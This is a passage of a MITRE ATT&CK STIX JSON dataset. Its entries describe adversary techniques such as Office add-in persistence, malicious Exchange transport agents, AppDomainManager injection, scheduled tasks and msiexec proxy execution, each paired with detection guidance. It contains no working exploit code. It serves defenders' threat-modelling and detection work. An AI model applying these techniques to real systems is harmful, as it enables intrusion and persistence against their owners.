Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor and investigate attempts to modify DACLs and file/directory ownership. Many of the commands used to modify DACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Command: Command Execution", "Active Directory: Active Directory Object Modification", "Process: Process Creation", "File: File Metadata"], "type": "attack-pattern", "id": "attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee", "created": "2020-02-04T19:17:41.767Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1222/001", "external_id": "T1222.001"}, {"source_name": "Hybrid Analysis Icacls1 June 2018", "description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.", "url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100"}, {"source_name": "Hybrid Analysis Icacls2 May 2018", "description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.", "url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110"}, {"source_name": "Microsoft Access Control Lists May 2018", "description": "M. Satran, M. Jacobs. (2018, May 30). Access Control Lists. Retrieved February 4, 2020.", "url": "https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists"}, {"source_name": "Microsoft DACL May 2018", "description": "Microsoft. (2018, May 30). DACLs and ACEs. Retrieved August 19, 2018.", "url": "https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces"}, {"source_name": "EventTracker File Permissions Feb 2014", "description": "Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.", "url": "https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows", "Office 365"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d", "type": "attack-pattern", "created": "2019-11-07T19:52:52.801Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1137.006", "url": "https://attack.mitre.org/techniques/T1137/006"}, {"url": "https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460", "description": "Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017.", "source_name": "Microsoft Office Add-ins"}, {"url": "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/", "description": "Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017.", "source_name": "MRWLabs Office Persistence Add-ins"}, {"source_name": "FireEye Mail CDS 2018", "url": "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf", "description": "Caban, D. and Hirani, M. (2018, October 3). You\u2019ve Got Mail! Enterprise Email Compromise. Retrieved April 22, 2019."}, {"source_name": "GlobalDotName Jun 2019", "url": "https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique", "description": "Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019."}], "modified": "2021-08-16T21:26:09.296Z", "name": "Add-ins", "description": "Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\n\nAdd-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Windows Registry: Windows Registry Key Modification", "File: File Modification", "Command: Command Execution", "Windows Registry: Windows Registry Key Creation", "Process: Process Creation", "File: File Creation"], "x_mitre_permissions_required": ["Administrator", "User"]}, {"x_mitre_platforms": ["Linux", "Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["ESET", "Christoffer Str\u00f6mblad"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--35187df2-31ed-43b6-a1f5-2f1d3d58d3f1", "type": "attack-pattern", "created": "2019-12-12T15:08:20.972Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1505.002", "url": "https://attack.mitre.org/techniques/T1505/002"}, {"source_name": "Microsoft TransportAgent Jun 2016", "url": "https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help", "description": "Microsoft. (2016, June 1). Transport agents. Retrieved June 24, 2019."}, {"source_name": "ESET LightNeuron May 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf", "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019."}], "modified": "2021-10-18T17:05:44.321Z", "name": "Transport Agent", "description": "Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks. \n\nAdversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Creation", "Application Log: Application Log Content"], "x_mitre_permissions_required": ["SYSTEM", "Administrator", "root"]}, {"modified": "2023-03-30T21:01:40.871Z", "name": "System Information Discovery", "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nTools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the <code>systemsetup</code> configuration tool on macOS. As an example, adversaries with user-level access can execute the <code>df -aH</code> command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. <code>show version</code>).(Citation: US-CERT-TA18-106A) [System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)\n\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_contributors": ["Maril Vernon @shewhohacks", "Praetorian", "Austin Clark, @c2defense"], "x_mitre_deprecated": false, "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather  detailed system information with built-in features native to the network device platform.  Monitor CLI activity for unexpected or unauthorized use  commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nIn cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Windows", "IaaS", "Linux", "macOS", "Network"], "x_mitre_version": "2.5", "x_mitre_data_sources": ["Process: OS API Execution", "Process: Process Creation", "Command: Command Execution"], "type": "attack-pattern", "id": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "created": "2017-05-31T21:31:04.307Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1082", "external_id": "T1082"}, {"source_name": "Amazon Describe Instance", "description": "Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020.", "url": "https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html"}, {"source_name": "Google Instances Resource", "description": "Google. (n.d.). Rest Resource: instance. Retrieved March 3, 2020.", "url": "https://cloud.google.com/compute/docs/reference/rest/v1/instances"}, {"source_name": "Microsoft Virutal Machine API", "description": "Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved October 8, 2019.", "url": "https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get"}, {"source_name": "20 macOS Common Tools and Techniques", "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"}, {"source_name": "OSX.FairyTale", "description": "Phile Stokes. (2018, September 20). On the Trail of OSX.FairyTale | Adware Playing at Malware. Retrieved August 24, 2021.", "url": "https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/"}, {"source_name": "US-CERT-TA18-106A", "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]}, {"modified": "2024-01-17T22:52:23.454Z", "name": "Application Layer Protocol", "description": "Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nAdversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.(Citation: Mandiant APT29 Eye Spy Email Nov 22) ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_contributors": ["Duane Michael"], "x_mitre_deprecated": false, "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_version": "2.2", "x_mitre_data_sources": ["Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content"], "type": "attack-pattern", "id": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", "created": "2017-05-31T21:30:56.776Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1071", "external_id": "T1071"}, {"source_name": "University of Birmingham C2", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}, {"source_name": "Mandiant APT29 Eye Spy Email Nov 22", "description": "Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.", "url": "https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-28T15:44:25.342Z", "name": "AppDomainManager", "description": "Adversaries may execute their own malicious payloads by hijacking how the .NET `AppDomainManager` loads assemblies. The .NET framework uses the `AppDomainManager` class to create and manage one or more isolated runtime environments (called application domains) inside a process to host the execution of .NET applications. Assemblies (`.exe` or `.dll` binaries compiled to run as .NET code) may be loaded into an application domain as executable code.(Citation: Microsoft App Domains) \n\nKnown as \"AppDomainManager injection,\" adversaries may execute arbitrary code by hijacking how .NET applications load assemblies. For example, malware may create a custom application domain inside a target process to load and execute an arbitrary assembly. Alternatively, configuration files (`.config`) or process environment variables that define .NET runtime settings may be tampered with to instruct otherwise benign .NET applications to load a malicious assembly (identified by name) into the target process.(Citation: PenTestLabs AppDomainManagerInject)(Citation: PwC Yellow Liderc)(Citation: Rapid7 AppDomain Manager Injection)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Thomas B", "Ivy Drexel"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Module: Module Load", "File: File Creation", "Process: Process Creation"], "type": "attack-pattern", "id": "attack-pattern--356662f7-e315-4759-86c9-6214e2a50ff8", "created": "2024-03-28T15:36:34.141Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1574/014", "external_id": "T1574.014"}, {"source_name": "PenTestLabs AppDomainManagerInject", "description": "Administrator. (2020, May 26). APPDOMAINMANAGER INJECTION AND DETECTION. Retrieved March 28, 2024.", "url": "https://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/"}, {"source_name": "Microsoft App Domains", "description": "Microsoft. (2021, September 15). Application domains. Retrieved March 28, 2024.", "url": "https://learn.microsoft.com/dotnet/framework/app-domains/application-domains"}, {"source_name": "PwC Yellow Liderc", "description": "PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved March 29, 2024.", "url": "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html"}, {"source_name": "Rapid7 AppDomain Manager Injection", "description": "Spagnola, N. (2023, May 5). AppDomain Manager Injection: New Techniques For Red Teams. Retrieved March 29, 2024.", "url": "https://www.rapid7.com/blog/post/2023/05/05/appdomain-manager-injection-new-techniques-for-red-teams/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows", "IaaS", "Linux", "macOS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Praetorian"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0", "type": "attack-pattern", "created": "2020-03-13T21:14:58.206Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1074.002", "url": "https://attack.mitre.org/techniques/T1074/002"}, {"source_name": "Mandiant M-Trends 2020", "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020", "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020."}], "modified": "2021-03-08T10:33:02.019Z", "name": "Remote Data Staging", "description": "Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)\n\nBy staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "collection"}], "x_mitre_detection": "Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Creation", "Command: Command Execution", "File: File Access"]}, {"modified": "2023-10-16T17:51:35.865Z", "name": "Additional Container Cluster Roles", "description": "An adversary may add additional roles or permissions to an adversary-controlled user or service account to maintain persistent access to a container orchestration system. For example, an adversary with sufficient permissions may create a RoleBinding or a ClusterRoleBinding to bind a Role or ClusterRole to a Kubernetes account.(Citation: Kubernetes RBAC)(Citation: Aquasec Kubernetes Attack 2023) Where attribute-based access control (ABAC) is in use, an adversary with sufficient permissions may modify a Kubernetes ABAC policy to give the target account additional permissions.(Citation: Kuberentes ABAC)\n \nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised.  \n\nNote that where container orchestration systems are deployed in cloud environments, as with Google Kubernetes Engine, Amazon Elastic Kubernetes Service, and Azure Kubernetes Service, cloud-based  role-based access control (RBAC) assignments or ABAC policies can often be used in place of or in addition to local permission assignments.(Citation: Google Cloud Kubernetes IAM)(Citation: AWS EKS IAM Roles for Service Accounts)(Citation: Microsoft Azure Kubernetes Service Service Accounts) In these cases, this technique may be used in conjunction with [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Containers"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["User Account: User Account Modification"], "type": "attack-pattern", "id": "attack-pattern--35d30338-5bfa-41b0-a170-ec06dfd75f64", "created": "2023-07-14T14:01:50.806Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1098/006", "external_id": "T1098.006"}, {"source_name": "AWS EKS IAM Roles for Service Accounts", "description": "Amazon Web Services. (n.d.). IAM roles for service accounts. Retrieved July 14, 2023.", "url": "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html"}, {"source_name": "Google Cloud Kubernetes IAM", "description": "Google Cloud. (n.d.). Create IAM policies. Retrieved July 14, 2023.", "url": "https://cloud.google.com/kubernetes-engine/docs/how-to/iam"}, {"source_name": "Kuberentes ABAC", "description": "Kuberenets. (n.d.). Using ABAC Authorization. Retrieved July 14, 2023.", "url": "https://kubernetes.io/docs/reference/access-authn-authz/abac/"}, {"source_name": "Kubernetes RBAC", "description": "Kubernetes. (n.d.). Role Based Access Control Good Practices. Retrieved March 8, 2023.", "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"}, {"source_name": "Aquasec Kubernetes Attack 2023", "description": "Michael Katchinskiy, Assaf Morag. (2023, April 21). First-Ever Attack Leveraging Kubernetes RBAC to Backdoor Clusters. Retrieved July 14, 2023.", "url": "https://blog.aquasec.com/leveraging-kubernetes-rbac-to-backdoor-clusters"}, {"source_name": "Microsoft Azure Kubernetes Service Service Accounts", "description": "Microsoft Azure. (2023, April 28). Access and identity options for Azure Kubernetes Service (AKS). Retrieved July 14, 2023.", "url": "https://learn.microsoft.com/en-us/azure/aks/concepts-identity"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-03-01T15:29:46.832Z", "name": "Scheduled Task/Job", "description": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_contributors": ["Prashant Verma, Paladion", "Leo Loobeek, @leoloobeek", "Travis Smith, Tripwire", "Alain Homewood, Insomnia Security", "Andrew Northern, @ex_raritas", "Bryan Campbell, @bry_campbell", "Zachary Abzug, @ZackDoesML", "Selena Larson, @selenalarson"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "Linux", "macOS", "Containers"], "x_mitre_version": "2.3", "x_mitre_data_sources": ["Scheduled Job: Scheduled Job Creation", "File: File Creation", "Process: Process Creation", "Container: Container Creation", "Command: Command Execution", "File: File Modification"], "x_mitre_effective_permissions": ["SYSTEM", "Administrator", "User"], "x_mitre_permissions_required": ["Administrator", "SYSTEM", "User"], "x_mitre_remote_support": true, "type": "attack-pattern", "id": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", "created": "2017-05-31T21:30:46.977Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1053", "external_id": "T1053"}, {"source_name": "ProofPoint Serpent", "description": "Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022.", "url": "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain"}, {"source_name": "TechNet Task Scheduler Security", "description": "Microsoft. (2005, January 21). Task Scheduler and security. Retrieved June 8, 2016.", "url": "https://technet.microsoft.com/en-us/library/cc785125.aspx"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Ziv Kaspersky, Cymptom", "Alexandros Pappas"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336", "created": "2020-01-24T14:38:49.266Z", "x_mitre_version": "2.0", "external_references": [{"source_name": "mitre-attack", "external_id": "T1218.007", "url": "https://attack.mitre.org/techniques/T1218/007"}, {"source_name": "TrendMicro Msiexec Feb 2018", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/", "description": "Co, M. and Sison, G. (2018, February 8). Attack Using Windows Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019."}, {"source_name": "LOLBAS Msiexec", "url": "https://lolbas-project.github.io/lolbas/Binaries/Msiexec/", "description": "LOLBAS. (n.d.). Msiexec.exe. Retrieved April 18, 2019."}, {"source_name": "Microsoft msiexec", "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", "description": "Microsoft. (2017, October 15). msiexec. Retrieved January 24, 2020."}, {"source_name": "Microsoft AlwaysInstallElevated 2018", "url": "https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated", "description": "Microsoft. (2018, May 31). AlwaysInstallElevated. Retrieved December 14, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft.\n\nAdversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the <code>AlwaysInstallElevated</code> policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)", "modified": "2022-04-19T17:33:16.346Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Msiexec", "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of msiexec.exe. Compare recent invocations of msiexec.exe with prior history of known good arguments and executed MSI files or DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of msiexec.exe may also be 